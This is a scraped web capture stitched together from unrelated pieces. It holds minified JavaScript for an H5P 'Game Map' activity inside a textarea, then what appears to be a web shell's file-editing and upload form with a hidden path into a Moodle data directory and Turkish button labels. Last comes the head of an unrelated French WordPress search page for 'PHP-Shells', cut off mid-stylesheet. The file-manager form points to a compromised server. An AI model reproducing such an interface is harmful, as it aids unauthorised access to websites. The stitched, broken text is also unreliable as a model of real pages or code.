e||e&lt;1||(this.hasPlayedTimeoutWarningGlobal=!1,this.timer?.reset(e),this.toolbar.setStatusContainerStatus(&quot;timer&quot;,{value:c.toTimecode(e)}))},e}(),W=function(){function e(){}var t=e.prototype;return t.showFinishConfirmation=function(){if(this.isShowingSolutions)return void this.showEndscreen({focusButton:!0,readOpened:!0});const e=this.params.globals.get(&quot;extras&quot;);e.isScoringEnabled=!0;const t=e.standalone&amp;&amp;(e.isScoringEnabled||e.isReportingEnabled),i=[this.params.dictionary.get(&quot;l10n.confirmFinishDialog&quot;)];t&amp;&amp;i.push(this.params.dictionary.get(&quot;l10n.confirmFinishDialogSubmission&quot;)),i.push(this.params.dictionary.get(&quot;l10n.confirmFinishDialogQuestion&quot;)),this.confirmationDialog.update({headerText:this.params.dictionary.get(&quot;l10n.confirmFinishHeader&quot;),dialogText:i.join(&quot; &quot;),cancelText:this.params.dictionary.get(&quot;l10n.no&quot;),confirmText:this.params.dictionary.get(&quot;l10n.yes&quot;)},{onConfirmed:()=&gt;{this.handleConfirmedFinish()},onCanceled:()=&gt;{this.params.jukebox.stopGroup(&quot;default&quot;)}}),this.params.jukebox.stopGroup(&quot;default&quot;),this.confirmationDialog.show(),this.params.jukebox.play(&quot;showDialog&quot;)},t.handleConfirmedFinish=function(){this.gameDone=!0,this.queueAnimation=[],this.stages.togglePlayfulness(!1),this.params.jukebox.stopAll(),this.timer?.stop(),this.callbacks.onFinished(),this.showEndscreen({focusButton:!0})},t.showGameOverConfirmation=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:&quot;confirmGameOverDialog&quot;;this.gameDone=!0,this.stages.togglePlayfulness(!1),this.confirmationDialog.update({headerText:this.params.dictionary.get(&quot;l10n.confirmGameOverHeader&quot;),dialogText:this.params.dictionary.get(`l10n.${e}`),confirmText:this.params.dictionary.get(&quot;l10n.ok&quot;),hideCancel:!0},{onConfirmed:()=&gt;{this.params.jukebox.stopAll(),this.timer?.stop(),this.callbacks.onFinished(),this.showEndscreen({focusButton:!0})}}),this.params.jukebox.stopAll(),this.timer?.stop(),this.params.jukebox.play(&quot;gameOver&quot;),this.confirmationDialog.show()},t.showTimeoutConfirmation=function(){const e=this.livesLeft===1/0?this.params.dictionary.get(&quot;l10n.confirmTimeoutDialog&quot;):this.params.dictionary.get(&quot;l10n.confirmTimeoutDialogLostLife&quot;);this.confirmationDialog.update({headerText:this.params.dictionary.get(&quot;l10n.confirmTimeoutHeader&quot;),dialogText:e,confirmText:this.params.dictionary.get(&quot;l10n.ok&quot;),hideCancel:!0},{onConfirmed:()=&gt;{this.params.jukebox.stopGroup(&quot;default&quot;)}}),this.confirmationDialog.show()},t.showIncompleteScoreConfirmation=function(){this.confirmationDialog.update({headerText:this.params.dictionary.get(&quot;l10n.confirmScoreIncompleteHeader&quot;),dialogText:this.params.dictionary.get(&quot;l10n.confirmIncompleteScoreDialogLostLife&quot;),confirmText:this.params.dictionary.get(&quot;l10n.ok&quot;),hideCancel:!0},{onConfirmed:()=&gt;{this.params.jukebox.stopGroup(&quot;default&quot;)}}),this.confirmationDialog.show()},t.showFullScoreConfirmation=function(){let e=this.params.dictionary.get(&quot;l10n.confirmFullScoreDialog&quot;);this.livesLeft!==1/0&amp;&amp;(e=`${e} ${this.params.dictionary.get(&quot;l10n.confirmFullScoreDialogLoseLivesAmendmend&quot;)}`),this.confirmationDialog.update({headerText:this.params.dictionary.get(&quot;l10n.confirmFullScoreHeader&quot;),dialogText:e,confirmText:this.params.dictionary.get(&quot;l10n.ok&quot;),hideCancel:!0},{onConfirmed:()=&gt;{this.params.jukebox.stopGroup(&quot;default&quot;),this.toolbar.toggleHintFinishButton(!0)}}),this.confirmationDialog.show()},e}(),_=function(){function e(){let t=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{},i=arguments.length&gt;1&amp;&amp;void 0!==arguments[1]?arguments[1]:{};this.params=s.extend({},t),this.gameDone=!1,this.callbackQueue=new l,this.callbackQueue.setRespectsDelay(this.params.globals.get(&quot;params&quot;).visual.misc.useAnimation),s.addMixins(e,[u,H,V,U,j,G,z,W]),this.callbacks=s.extend({onProgressChanged:()=&gt;{},onFinished:()=&gt;{},onFullscreenClicked:()=&gt;{},onRestarted:()=&gt;{}},i),this.params.globals.set(&quot;getScore&quot;,(()=&gt;this.getScore())),this.musicFadeTime=e.MUSIC_FADE_TIME,this.buildDOM(),this.startVisibilityObserver(),this.initializeTimer(),this.reset({isInitial:!0}),this.params.globals.get(&quot;params&quot;).behaviour.timeLimitGlobal&amp;&amp;this.toolbar.showStatusContainer(&quot;timer&quot;),&quot;number&quot;==typeof this.params.globals.get(&quot;params&quot;).behaviour.lives&amp;&amp;this.toolbar.showStatusContainer(&quot;lives&quot;),this.toolbar.showStatusContainer(&quot;stages&quot;),this.getMaxScore()&gt;0&amp;&amp;this.toolbar.showStatusContainer(&quot;score&quot;),this.start({isInitial:!0}),H5P.externalDispatcher.on(&quot;initialized&quot;,(()=&gt;{const e=this.grabH5PQuestionFeedback({maxScore:this.getMaxScore()});this.endScreen.setContent(e),this.gameDone&amp;&amp;this.showEndscreen()}))}var t=e.prototype;return t.getDOM=function(){return this.dom},t.show=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};if(this.map.show(),this.contentDOM.classList.remove(&quot;display-none&quot;),this.timer){const e=this.timer.getState();e===c.STATE_PAUSED?this.timer.resume():e!==c.STATE_ENDED||this.gameDone||this.timer.start()}e.readOpened&amp;&amp;this.params.globals.get(&quot;read&quot;)(this.params.dictionary.get(&quot;a11y.mapWasOpened&quot;)),window.setTimeout((()=&gt;{e.focusButton&amp;&amp;this.toolbar.focus()}),100),this.stageAttentionSeekerTimeout||this.seekAttention(),window.requestAnimationFrame((()=&gt;{this.params.globals.get(&quot;resize&quot;)(),window.requestAnimationFrame((()=&gt;{this.params.globals.get(&quot;resize&quot;)()}))}))},t.hide=function(){this.map.hide(),this.timer?.pause(),this.contentDOM.classList.add(&quot;display-none&quot;)},t.start=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.endScreen.hide();if(this.params.globals.get(&quot;params&quot;).showTitleScreen){this.hide();const t=e.isInitial?{}:{focusButton:!0,readOpened:!0};this.startScreen.show(t)}else e.isInitial?this.show():this.show({focusButton:!0,readOpened:!0});this.params.globals.get(&quot;resize&quot;)()},t.seekAttention=function(){window.clearTimeout(this.stageAttentionSeekerTimeout),this.stageAttentionSeekerTimeout=window.setTimeout((()=&gt;{this.stages.getNextOpenStage();const e=this.stages.getNextOpenStage();e&amp;&amp;e.animate(&quot;bounce&quot;),this.seekAttention()}),e.ATTENTION_SEEKER_TIMEOUT_MS)},t.resize=function(){const e=this.map.getSize();e&amp;&amp;0!==e.width&amp;&amp;0!==e.height&amp;&amp;(this.exerciseScreen.setScreenOffset(e.width),this.map.resize(),clearTimeout(this.resizeTimeout),this.resizeTimeout=setTimeout((()=&gt;{this.paths.update({mapSize:this.map.getSize()})}),0),this.exerciseScreen.getSize().width&gt;this.dom.getBoundingClientRect().width&amp;&amp;(clearTimeout(this.exersizeScreenResizeTimeout),this.exersizeScreenResizeTimeout=setTimeout((()=&gt;{this.params.globals.get(&quot;resize&quot;)()}),0)))},t.showEndscreen=function(){let e=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.hasUserMadeProgress=!0;const t=this.params.globals.get(&quot;params&quot;).endScreen;this.toolbar.toggleHintFinishButton(!1),this.toolbar.toggleHintTimer(!1);const i=this.getScore(),a=this.getMaxScore(),r=H5P.Question.determineOverallFeedback(t.overallFeedback,i/a),n=this.params.dictionary.get(&quot;a11y.yourResult&quot;).replace(&quot;@score&quot;,&quot;:num&quot;).replace(&quot;@total&quot;,&quot;:total&quot;);this.params.globals.get(&quot;mainInstance&quot;).setFeedback(r,i,a,n);const o=`&lt;p style=&quot;text-align: center;&quot;&gt;${this.params.dictionary.get(&quot;l10n.completedMap&quot;)}&lt;/p&gt;`;if(i&gt;=a&amp;&amp;this.livesLeft&gt;0&amp;&amp;(&quot;number&quot;!=typeof this.timeLeft||this.timeLeft&gt;0)){const e=t.success;this.endScreen.setMedium(e.endScreenMediumSuccess);const i=s.isHTMLWidgetFilled(e.endScreenTextSuccess)?e.endScreenTextSuccess:o;this.endScreen.setIntroduction(i),this.isShowingSolutions||this.params.jukebox.play(&quot;endscreenSuccess&quot;)}else{const e=t.noSuccess;this.endScreen.setMedium(e.endScreenMediumNoSuccess);let r=s.isHTMLWidgetFilled(e.endScreenTextNoSuccess)?e.endScreenTextNoSuccess:o;0===this.livesLeft&amp;&amp;i&gt;=a?r=`${r}&lt;p style=&quot;text-align: center;&quot;&gt;${this.params.dictionary.get(&quot;l10n.fullScoreButnoLivesLeft&quot;)}&lt;/p&gt;`:0===this.timer?.getTime()&amp;&amp;i&gt;=a&amp;&amp;(r=`${r}&lt;p style=&quot;text-align: center;&quot;&gt;${this.params.dictionary.get(&quot;l10n.fullScoreButTimeout&quot;)}&lt;/p&gt;`),this.endScreen.setIntroduction(r),this.isShowingSolutions||this.params.jukebox.play(&quot;endscreenNoSuccess&quot;)}this.hide(),this.endScreen.show(e)},t.setFullscreen=function(e){this.isFullscreenActive=e;const t=window.getComputedStyle(this.contentDOM),i=parseFloat(t.getPropertyValue(&quot;margin-left&quot;))+parseFloat(t.getPropertyValue(&quot;margin-right&quot;)),a=parseFloat(t.getPropertyValue(&quot;margin-top&quot;))+parseFloat(t.getPropertyValue(&quot;margin-bottom&quot;));this.map.setFullscreen(e,{width:window.innerWidth-i,height:window.innerHeight-a-this.toolbar.getFullHeight()}),this.toolbar.forceButton(&quot;fullscreen&quot;,e?1:0,{noCallback:!0})},e}();_.CONVENIENCE_MARGIN_PX=32,_.MUSIC_FADE_TIME=2e3,_.ATTENTION_SEEKER_TIMEOUT_MS=1e4;let Q=function(){function e(){let t=arguments.length&gt;0&amp;&amp;void 0!==arguments[0]?arguments[0]:{};this.dom=document.createElement(&quot;div&quot;),this.dom.classList.add(&quot;h5p-game-map-message-box&quot;);const i=document.createElement(&quot;p&quot;);i.classList.add(&quot;h5p-game-map-message-box-message&quot;),i.innerText=t.text||e.DEFAULT_TEXT,this.dom.append(i)}return e.prototype.getDOM=function(){return this.dom},e}();Q.DEFAULT_TEXT=&quot;Something important was supposed to be here.&quot;;let $=function(){function e(){}var t=e.prototype;return t.getAnswerGiven=function(){return this.main.getAnswerGiven()},t.getScore=function(){return this.main.getScore()},t.getMaxScore=function(){return this.main.getMaxScore()},t.showSolutions=function(){this.main.showSolutions()},t.resetTask=function(){this.contentWasReset=!0,this.main.reset(),this.main.start()},t.getXAPIData=function(){const e=this.createXAPIEvent(&quot;completed&quot;);return e.data.statement.object.definition.interactionType=&quot;compound&quot;,{statement:e.data.statement,children:this.main.getXAPIData()}},t.getCurrentState=function(){return this.main?this.getAnswerGiven()||this.params.behaviour.timeLimitGlobal?{content:this.main.getCurrentState()}:this.contentWasReset?{}:void 0:{}},t.getContext=function(){return this.main.getContext()},e}(),Y=function(){function e(){}var t=e.prototype;return t.triggerXAPIEvent=function(e){const t=this.createXAPIEvent(e);this.trigger(t)},t.createXAPIEvent=function(e){const t=this.createXAPIEventTemplate(e);return s.extend(t.getVerifiedStatementValue([&quot;object&quot;,&quot;definition&quot;]),this.getXAPIDefinition()),&quot;completed&quot;!==e&amp;&amp;&quot;answered&quot;!==e||t.setScoredResult(this.getScore(),this.getMaxScore(),this,!0,this.getScore()===this.getMaxScore()),t},t.getXAPIDefinition=function(){const e={name:{}};return e.name[this.languageTag]=this.getTitle(),e.name[&quot;en-US&quot;]=e.name[this.languageTag],e.description={},e.description[this.languageTag]=this.getDescription(),e.description[&quot;en-US&quot;]=e.description[this.languageTag],e.type=&quot;http://adlnet.gov/expapi/activities/cmi.interaction&quot;,e.interactionType=&quot;other&quot;,e},t.getTitle=function(){return H5P.createTitle(this.extras?.metadata?.title||e.DEFAULT_DESCRIPTION)},t.getDescription=function(){return this.params.header||e.DEFAULT_DESCRIPTION},e}();function X(e,t){return X=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(e,t){return e.__proto__=t,e},X(e,t)}Y.DEFAULT_DESCRIPTION=&quot;Game Map&quot;;let K=function(e){var i,a;function l(i,a){var c;let u=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]?arguments[2]:{};c=e.call(this,&quot;game-map&quot;)||this,s.addMixins(l,[$,Y]);const h=s.extend({behaviour:{finishScore:1/0,enableCheckButton:!0}},t.getSemanticsDefaults());c.params=s.extend(h,i),&quot;free&quot;===c.params.behaviour.roaming&amp;&amp;(c.params.visual.paths.style.colorPathCleared=c.params.visual.paths.style.colorPath);const d=window.matchMedia(&quot;(prefers-reduced-motion: reduce)&quot;)?.matches;c.params.visual.misc.useAnimation=c.params.visual.misc.useAnimation&amp;&amp;!d,c.params.gamemapSteps.gamemap.elements=c.params.gamemapSteps.gamemap.elements.filter((e=&gt;e.contentType?.library||e.specialStageType)).map((e=&gt;(e.animDuration=c.params.visual.misc.useAnimation?l.EXERCISE_SCREEN_ANIM_DURATION_MS:0,e))),c.contentId=a,c.extras=u;const p=c.isRoot()&amp;&amp;H5P.fullscreenSupported;c.globals=new n,c.globals.set(&quot;mainInstance&quot;,function(e){if(void 0===e)throw new ReferenceError(&quot;this hasn&#039;t been initialised - super() hasn&#039;t been called&quot;);return e}(c)),c.globals.set(&quot;contentId&quot;,c.contentId),c.globals.set(&quot;params&quot;,c.params),c.globals.set(&quot;extras&quot;,c.extras),c.globals.set(&quot;states&quot;,l.STATES),c.globals.set(&quot;isFullscreenSupported&quot;,p),c.globals.set(&quot;resize&quot;,(()=&gt;{c.trigger(&quot;resize&quot;)})),c.globals.set(&quot;read&quot;,(e=&gt;{c.read(e)})),c.dictionary=new r,c.dictionary.fill({l10n:c.params.l10n,a11y:c.params.a11y}),c.jukebox=new o,c.fillJukebox();const m=u?.metadata?.defaultLanguage||&quot;en&quot;;c.languageTag=s.formatLanguageCode(m),c.dom=c.buildDOM();const g=c.params.gamemapSteps.gamemap.elements.some((e=&gt;e.contentType));if(c.params.gamemapSteps.backgroundImageSettings?.backgroundImage)if(g)c.main=new _({dictionary:c.dictionary,globals:c.globals,jukebox:c.jukebox},{onProgressChanged:e=&gt;{c.handleProgressChanged(e)},onFinished:()=&gt;{c.handleFinished()},onFullscreenClicked:()=&gt;{c.handleFullscreenClicked()},onRestarted:()=&gt;{c.resetTask()}}),c.dom.append(c.main.getDOM()),c.on(&quot;resize&quot;,(()=&gt;{c.main.resize()}));else{const e=new Q({text:c.dictionary.get(&quot;l10n.noStages&quot;)});c.dom.append(e.getDOM())}else{const e=new Q({text:c.dictionary.get(&quot;l10n.noBackground&quot;)});c.dom.append(e.getDOM())}if(p){c.on(&quot;enterFullScreen&quot;,(()=&gt;{window.setTimeout((()=&gt;{c.main.setFullscreen(!0)}),50)})),c.on(&quot;exitFullScreen&quot;,(()=&gt;{c.main.setFullscreen(!1)}));const e=()=&gt;{H5P.isFullscreen&amp;&amp;setTimeout((()=&gt;{c.main.setFullscreen(!0)}),200)};screen?.orientation?.addEventListener?screen?.orientation?.addEventListener(&quot;change&quot;,(()=&gt;{e()})):window.addEventListener(&quot;orientationchange&quot;,(()=&gt;{e()}),!1)}return c}a=e,(i=l).prototype=Object.create(a.prototype),i.prototype.constructor=i,X(i,a);var c=l.prototype;return c.registerDomElements=function(){this.setContent(this.dom)},c.buildDOM=function(){const e=document.createElement(&quot;div&quot;);return e.classList.add(&quot;h5p-game-map&quot;),e},c.fillJukebox=function(){const e={};if(this.params.audio.backgroundMusic.music?.[0]?.path){const t=H5P.getPath(this.params.audio.backgroundMusic.music[0].path,this.contentId),i=H5P.getCrossOrigin?.(this.params.audio.backgroundMusic.music[0])??&quot;Anonymous&quot;;e.backgroundMusic={src:t,crossOrigin:i,options:{loop:!0,groupId:&quot;background&quot;}}}for(const t in this.params.audio.ambient){if(!this.params.audio.ambient[t]?.[0]?.path)continue;const i=H5P.getPath(this.params.audio.ambient[t][0].path,this.contentId),a=H5P.getCrossOrigin?.(this.params.audio.ambient[t][0])??&quot;Anonymous&quot;;e[t]={src:i,crossOrigin:a}}this.jukebox.fill(e)},c.handleProgressChanged=function(e){const t=this.createXAPIEventTemplate(&quot;progressed&quot;);t.data.statement.object.definition.extensions[&quot;http://id.tincanapi.com/extension/ending-point&quot;]=e,this.trigger(t)},c.handleFinished=function(){const e=this.createXAPIEventTemplate(&quot;completed&quot;);s.extend(e.getVerifiedStatementValue([&quot;object&quot;,&quot;definition&quot;]),this.getXAPIDefinition()),e.setScoredResult(this.getScore(),this.getMaxScore(),this,!0,this.getScore()===this.getMaxScore()),this.trigger(e)},c.handleFullscreenClicked=function(){setTimeout((()=&gt;{this.toggleFullscreen()}),300)},c.toggleFullscreen=function(e){this.dom&amp;&amp;(&quot;string&quot;==typeof e&amp;&amp;(&quot;enter&quot;===e?e=!1:&quot;exit&quot;===e&amp;&amp;(e=!0)),&quot;boolean&quot;!=typeof e&amp;&amp;(e=!H5P.isFullscreen),e?(this.container=this.container||this.dom.closest(&quot;.h5p-container&quot;),this.container&amp;&amp;H5P.fullScreen(H5P.jQuery(this.container),this)):H5P.exitFullScreen())},l}(H5P.Question);K.STATES={unstarted:0,locked:1,unlocking:2,open:3,opened:4,completed:5,cleared:6,sealed:7},K.EXERCISE_SCREEN_ANIM_DURATION_MS=1e3,H5P.GameMap=K}()}();</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/moodledataevs/filedir/b5/ea/b5ea111b8b33a3c9202b3ee678b84a5c5967894a">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux de résultats de la recherche pour « label/PHP-Shells »" href="https://haggai-bf.org/search/label/PHP-Shells/feed/rss2/" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1d4f8837da4*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p 